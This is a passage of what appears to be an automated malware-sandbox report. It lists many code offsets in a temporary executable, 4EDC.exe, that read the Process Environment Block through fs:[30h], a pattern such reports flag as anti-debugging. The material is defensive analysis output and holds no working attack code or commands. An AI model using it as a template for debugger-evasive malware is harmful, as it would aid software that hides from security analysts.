Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C01B02A mov eax, dword ptr fs:[00000030h]	22_2_6C01B02A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A830 mov eax, dword ptr fs:[00000030h]	22_2_6C02A830
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A830 mov eax, dword ptr fs:[00000030h]	22_2_6C02A830
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A830 mov eax, dword ptr fs:[00000030h]	22_2_6C02A830
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A830 mov eax, dword ptr fs:[00000030h]	22_2_6C02A830
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C005050 mov eax, dword ptr fs:[00000030h]	22_2_6C005050
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C005050 mov eax, dword ptr fs:[00000030h]	22_2_6C005050
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C005050 mov eax, dword ptr fs:[00000030h]	22_2_6C005050
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C007055 mov eax, dword ptr fs:[00000030h]	22_2_6C007055
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02F86D mov eax, dword ptr fs:[00000030h]	22_2_6C02F86D
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D1074 mov eax, dword ptr fs:[00000030h]	22_2_6C0D1074
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C2073 mov eax, dword ptr fs:[00000030h]	22_2_6C0C2073
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C003880 mov eax, dword ptr fs:[00000030h]	22_2_6C003880
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C003880 mov eax, dword ptr fs:[00000030h]	22_2_6C003880
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0138A4 mov eax, dword ptr fs:[00000030h]	22_2_6C0138A4
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0138A4 mov ecx, dword ptr fs:[00000030h]	22_2_6C0138A4
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0490AF mov eax, dword ptr fs:[00000030h]	22_2_6C0490AF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0128AE mov eax, dword ptr fs:[00000030h]	22_2_6C0128AE
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0128AE mov eax, dword ptr fs:[00000030h]	22_2_6C0128AE
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0128AE mov eax, dword ptr fs:[00000030h]	22_2_6C0128AE
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0128AE mov ecx, dword ptr fs:[00000030h]	22_2_6C0128AE
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0128AE mov eax, dword ptr fs:[00000030h]	22_2_6C0128AE
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0128AE mov eax, dword ptr fs:[00000030h]	22_2_6C0128AE
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00E8B0 mov eax, dword ptr fs:[00000030h]	22_2_6C00E8B0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00E8B0 mov eax, dword ptr fs:[00000030h]	22_2_6C00E8B0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00E8B0 mov eax, dword ptr fs:[00000030h]	22_2_6C00E8B0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00E8B0 mov eax, dword ptr fs:[00000030h]	22_2_6C00E8B0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00E8B0 mov eax, dword ptr fs:[00000030h]	22_2_6C00E8B0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00E8B0 mov eax, dword ptr fs:[00000030h]	22_2_6C00E8B0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03F0BF mov ecx, dword ptr fs:[00000030h]	22_2_6C03F0BF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03F0BF mov eax, dword ptr fs:[00000030h]	22_2_6C03F0BF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03F0BF mov eax, dword ptr fs:[00000030h]	22_2_6C03F0BF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0070C0 mov eax, dword ptr fs:[00000030h]	22_2_6C0070C0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0070C0 mov eax, dword ptr fs:[00000030h]	22_2_6C0070C0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0040E1 mov eax, dword ptr fs:[00000030h]	22_2_6C0040E1
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0040E1 mov eax, dword ptr fs:[00000030h]	22_2_6C0040E1
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0040E1 mov eax, dword ptr fs:[00000030h]	22_2_6C0040E1
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BE0E9 mov eax, dword ptr fs:[00000030h]	22_2_6C0BE0E9
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BE0E9 mov eax, dword ptr fs:[00000030h]	22_2_6C0BE0E9
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02B8E4 mov eax, dword ptr fs:[00000030h]	22_2_6C02B8E4
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02B8E4 mov eax, dword ptr fs:[00000030h]	22_2_6C02B8E4
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0058EC mov eax, dword ptr fs:[00000030h]	22_2_6C0058EC
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0128FD mov eax, dword ptr fs:[00000030h]	22_2_6C0128FD
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0128FD mov eax, dword ptr fs:[00000030h]	22_2_6C0128FD
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0128FD mov eax, dword ptr fs:[00000030h]	22_2_6C0128FD
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C009100 mov eax, dword ptr fs:[00000030h]	22_2_6C009100
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C009100 mov eax, dword ptr fs:[00000030h]	22_2_6C009100
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C009100 mov eax, dword ptr fs:[00000030h]	22_2_6C009100
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C010100 mov eax, dword ptr fs:[00000030h]	22_2_6C010100
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C010100 mov eax, dword ptr fs:[00000030h]	22_2_6C010100
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C010100 mov eax, dword ptr fs:[00000030h]	22_2_6C010100
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C024120 mov eax, dword ptr fs:[00000030h]	22_2_6C024120
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C024120 mov eax, dword ptr fs:[00000030h]	22_2_6C024120
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C024120 mov eax, dword ptr fs:[00000030h]	22_2_6C024120
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C024120 mov eax, dword ptr fs:[00000030h]	22_2_6C024120
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C024120 mov ecx, dword ptr fs:[00000030h]	22_2_6C024120
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C003138 mov ecx, dword ptr fs:[00000030h]	22_2_6C003138
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03513A mov eax, dword ptr fs:[00000030h]	22_2_6C03513A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03513A mov eax, dword ptr fs:[00000030h]	22_2_6C03513A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02B944 mov eax, dword ptr fs:[00000030h]	22_2_6C02B944
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02B944 mov eax, dword ptr fs:[00000030h]	22_2_6C02B944
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00395E mov eax, dword ptr fs:[00000030h]	22_2_6C00395E
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00395E mov eax, dword ptr fs:[00000030h]	22_2_6C00395E
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8966 mov eax, dword ptr fs:[00000030h]	22_2_6C0D8966
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0CE962 mov eax, dword ptr fs:[00000030h]	22_2_6C0CE962
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00B171 mov eax, dword ptr fs:[00000030h]	22_2_6C00B171
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00B171 mov eax, dword ptr fs:[00000030h]	22_2_6C00B171
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02C182 mov eax, dword ptr fs:[00000030h]	22_2_6C02C182
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0CA189 mov eax, dword ptr fs:[00000030h]	22_2_6C0CA189
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0CA189 mov ecx, dword ptr fs:[00000030h]	22_2_6C0CA189
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03A185 mov eax, dword ptr fs:[00000030h]	22_2_6C03A185
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C034190 mov eax, dword ptr fs:[00000030h]	22_2_6C034190
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C032990 mov eax, dword ptr fs:[00000030h]	22_2_6C032990
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00519E mov eax, dword ptr fs:[00000030h]	22_2_6C00519E
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00519E mov ecx, dword ptr fs:[00000030h]	22_2_6C00519E
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0361A0 mov eax, dword ptr fs:[00000030h]	22_2_6C0361A0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0361A0 mov eax, dword ptr fs:[00000030h]	22_2_6C0361A0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C49A4 mov eax, dword ptr fs:[00000030h]	22_2_6C0C49A4
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C49A4 mov eax, dword ptr fs:[00000030h]	22_2_6C0C49A4
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C49A4 mov eax, dword ptr fs:[00000030h]	22_2_6C0C49A4
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C49A4 mov eax, dword ptr fs:[00000030h]	22_2_6C0C49A4
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0851BE mov eax, dword ptr fs:[00000030h]	22_2_6C0851BE
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0851BE mov eax, dword ptr fs:[00000030h]	22_2_6C0851BE
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0851BE mov eax, dword ptr fs:[00000030h]	22_2_6C0851BE
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0851BE mov eax, dword ptr fs:[00000030h]	22_2_6C0851BE
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0DF1B5 mov eax, dword ptr fs:[00000030h]	22_2_6C0DF1B5
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0DF1B5 mov eax, dword ptr fs:[00000030h]	22_2_6C0DF1B5
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03C9BF mov eax, dword ptr fs:[00000030h]	22_2_6C03C9BF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03C9BF mov eax, dword ptr fs:[00000030h]	22_2_6C03C9BF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0299BF mov ecx, dword ptr fs:[00000030h]	22_2_6C0299BF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0299BF mov ecx, dword ptr fs:[00000030h]	22_2_6C0299BF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0299BF mov eax, dword ptr fs:[00000030h]	22_2_6C0299BF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0299BF mov ecx, dword ptr fs:[00000030h]	22_2_6C0299BF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0299BF mov ecx, dword ptr fs:[00000030h]	22_2_6C0299BF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0299BF mov eax, dword ptr fs:[00000030h]	22_2_6C0299BF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0299BF mov ecx, dword ptr fs:[00000030h]	22_2_6C0299BF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0299BF mov ecx, dword ptr fs:[00000030h]	22_2_6C0299BF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0299BF mov eax, dword ptr fs:[00000030h]	22_2_6C0299BF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0299BF mov ecx, dword ptr fs:[00000030h]	22_2_6C0299BF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0299BF mov ecx, dword ptr fs:[00000030h]	22_2_6C0299BF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0299BF mov eax, dword ptr fs:[00000030h]	22_2_6C0299BF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0199C7 mov eax, dword ptr fs:[00000030h]	22_2_6C0199C7
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0199C7 mov eax, dword ptr fs:[00000030h]	22_2_6C0199C7
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0199C7 mov eax, dword ptr fs:[00000030h]	22_2_6C0199C7
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0199C7 mov eax, dword ptr fs:[00000030h]	22_2_6C0199C7
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0031E0 mov eax, dword ptr fs:[00000030h]	22_2_6C0031E0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0941E8 mov eax, dword ptr fs:[00000030h]	22_2_6C0941E8
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00B1E1 mov eax, dword ptr fs:[00000030h]	22_2_6C00B1E1
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00B1E1 mov eax, dword ptr fs:[00000030h]	22_2_6C00B1E1
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00B1E1 mov eax, dword ptr fs:[00000030h]	22_2_6C00B1E1
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D89E7 mov eax, dword ptr fs:[00000030h]	22_2_6C0D89E7
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00E9ED mov eax, dword ptr fs:[00000030h]	22_2_6C00E9ED
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BD208 mov eax, dword ptr fs:[00000030h]	22_2_6C0BD208
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BD208 mov eax, dword ptr fs:[00000030h]	22_2_6C0BD208
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C018A0A mov eax, dword ptr fs:[00000030h]	22_2_6C018A0A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C005210 mov eax, dword ptr fs:[00000030h]	22_2_6C005210
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C005210 mov ecx, dword ptr fs:[00000030h]	22_2_6C005210
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C005210 mov eax, dword ptr fs:[00000030h]	22_2_6C005210
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C005210 mov eax, dword ptr fs:[00000030h]	22_2_6C005210
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C023A1C mov eax, dword ptr fs:[00000030h]	22_2_6C023A1C
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C004A20 mov eax, dword ptr fs:[00000030h]	22_2_6C004A20
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C004A20 mov eax, dword ptr fs:[00000030h]	22_2_6C004A20
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C08EA20 mov eax, dword ptr fs:[00000030h]	22_2_6C08EA20
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A229 mov eax, dword ptr fs:[00000030h]	22_2_6C02A229
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A229 mov eax, dword ptr fs:[00000030h]	22_2_6C02A229
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A229 mov eax, dword ptr fs:[00000030h]	22_2_6C02A229
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A229 mov eax, dword ptr fs:[00000030h]	22_2_6C02A229
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A229 mov eax, dword ptr fs:[00000030h]	22_2_6C02A229
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A229 mov eax, dword ptr fs:[00000030h]	22_2_6C02A229
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A229 mov eax, dword ptr fs:[00000030h]	22_2_6C02A229
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A229 mov eax, dword ptr fs:[00000030h]	22_2_6C02A229
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A229 mov eax, dword ptr fs:[00000030h]	22_2_6C02A229
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C008239 mov eax, dword ptr fs:[00000030h]	22_2_6C008239
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C008239 mov eax, dword ptr fs:[00000030h]	22_2_6C008239
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C008239 mov eax, dword ptr fs:[00000030h]	22_2_6C008239
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C002240 mov ecx, dword ptr fs:[00000030h]	22_2_6C002240
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C002240 mov eax, dword ptr fs:[00000030h]	22_2_6C002240
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C009240 mov eax, dword ptr fs:[00000030h]	22_2_6C009240
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C009240 mov eax, dword ptr fs:[00000030h]	22_2_6C009240
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C009240 mov eax, dword ptr fs:[00000030h]	22_2_6C009240
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C009240 mov eax, dword ptr fs:[00000030h]	22_2_6C009240
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C094248 mov eax, dword ptr fs:[00000030h]	22_2_6C094248
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C094257 mov eax, dword ptr fs:[00000030h]	22_2_6C094257
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BB260 mov eax, dword ptr fs:[00000030h]	22_2_6C0BB260
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BB260 mov eax, dword ptr fs:[00000030h]	22_2_6C0BB260
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8A62 mov eax, dword ptr fs:[00000030h]	22_2_6C0D8A62
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04927A mov eax, dword ptr fs:[00000030h]	22_2_6C04927A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03DA88 mov eax, dword ptr fs:[00000030h]	22_2_6C03DA88
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03DA88 mov eax, dword ptr fs:[00000030h]	22_2_6C03DA88
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03D294 mov eax, dword ptr fs:[00000030h]	22_2_6C03D294
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03D294 mov eax, dword ptr fs:[00000030h]	22_2_6C03D294
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C001AA0 mov eax, dword ptr fs:[00000030h]	22_2_6C001AA0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C035AA0 mov eax, dword ptr fs:[00000030h]	22_2_6C035AA0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C035AA0 mov eax, dword ptr fs:[00000030h]	22_2_6C035AA0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0052A5 mov eax, dword ptr fs:[00000030h]	22_2_6C0052A5
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0052A5 mov eax, dword ptr fs:[00000030h]	22_2_6C0052A5
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0052A5 mov eax, dword ptr fs:[00000030h]	22_2_6C0052A5
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0052A5 mov eax, dword ptr fs:[00000030h]	22_2_6C0052A5
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0052A5 mov eax, dword ptr fs:[00000030h]	22_2_6C0052A5
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C01AAB0 mov eax, dword ptr fs:[00000030h]	22_2_6C01AAB0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C01AAB0 mov eax, dword ptr fs:[00000030h]	22_2_6C01AAB0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0312BD mov esi, dword ptr fs:[00000030h]	22_2_6C0312BD
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0312BD mov eax, dword ptr fs:[00000030h]	22_2_6C0312BD
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0312BD mov eax, dword ptr fs:[00000030h]	22_2_6C0312BD
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C005AC0 mov eax, dword ptr fs:[00000030h]	22_2_6C005AC0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C005AC0 mov eax, dword ptr fs:[00000030h]	22_2_6C005AC0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C005AC0 mov eax, dword ptr fs:[00000030h]	22_2_6C005AC0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C032ACB mov eax, dword ptr fs:[00000030h]	22_2_6C032ACB
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C003ACA mov eax, dword ptr fs:[00000030h]	22_2_6C003ACA
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8ADD mov eax, dword ptr fs:[00000030h]	22_2_6C0D8ADD
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4AEF mov eax, dword ptr fs:[00000030h]	22_2_6C0C4AEF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4AEF mov eax, dword ptr fs:[00000030h]	22_2_6C0C4AEF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4AEF mov eax, dword ptr fs:[00000030h]	22_2_6C0C4AEF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4AEF mov eax, dword ptr fs:[00000030h]	22_2_6C0C4AEF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4AEF mov eax, dword ptr fs:[00000030h]	22_2_6C0C4AEF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4AEF mov eax, dword ptr fs:[00000030h]	22_2_6C0C4AEF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4AEF mov eax, dword ptr fs:[00000030h]	22_2_6C0C4AEF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4AEF mov eax, dword ptr fs:[00000030h]	22_2_6C0C4AEF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4AEF mov eax, dword ptr fs:[00000030h]	22_2_6C0C4AEF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4AEF mov eax, dword ptr fs:[00000030h]	22_2_6C0C4AEF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4AEF mov eax, dword ptr fs:[00000030h]	22_2_6C0C4AEF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4AEF mov eax, dword ptr fs:[00000030h]	22_2_6C0C4AEF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4AEF mov eax, dword ptr fs:[00000030h]	22_2_6C0C4AEF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4AEF mov eax, dword ptr fs:[00000030h]	22_2_6C0C4AEF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C032AE4 mov eax, dword ptr fs:[00000030h]	22_2_6C032AE4
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A309 mov eax, dword ptr fs:[00000030h]	22_2_6C02A309
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A309 mov eax, dword ptr fs:[00000030h]	22_2_6C02A309
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A309 mov eax, dword ptr fs:[00000030h]	22_2_6C02A309
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A309 mov eax, dword ptr fs:[00000030h]	22_2_6C02A309
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A309 mov eax, dword ptr fs:[00000030h]	22_2_6C02A309
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A309 mov eax, dword ptr fs:[00000030h]	22_2_6C02A309
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A309 mov eax, dword ptr fs:[00000030h]	22_2_6C02A309
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A309 mov eax, dword ptr fs:[00000030h]	22_2_6C02A309
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A309 mov eax, dword ptr fs:[00000030h]	22_2_6C02A309
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A309 mov eax, dword ptr fs:[00000030h]	22_2_6C02A309
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A309 mov eax, dword ptr fs:[00000030h]	22_2_6C02A309
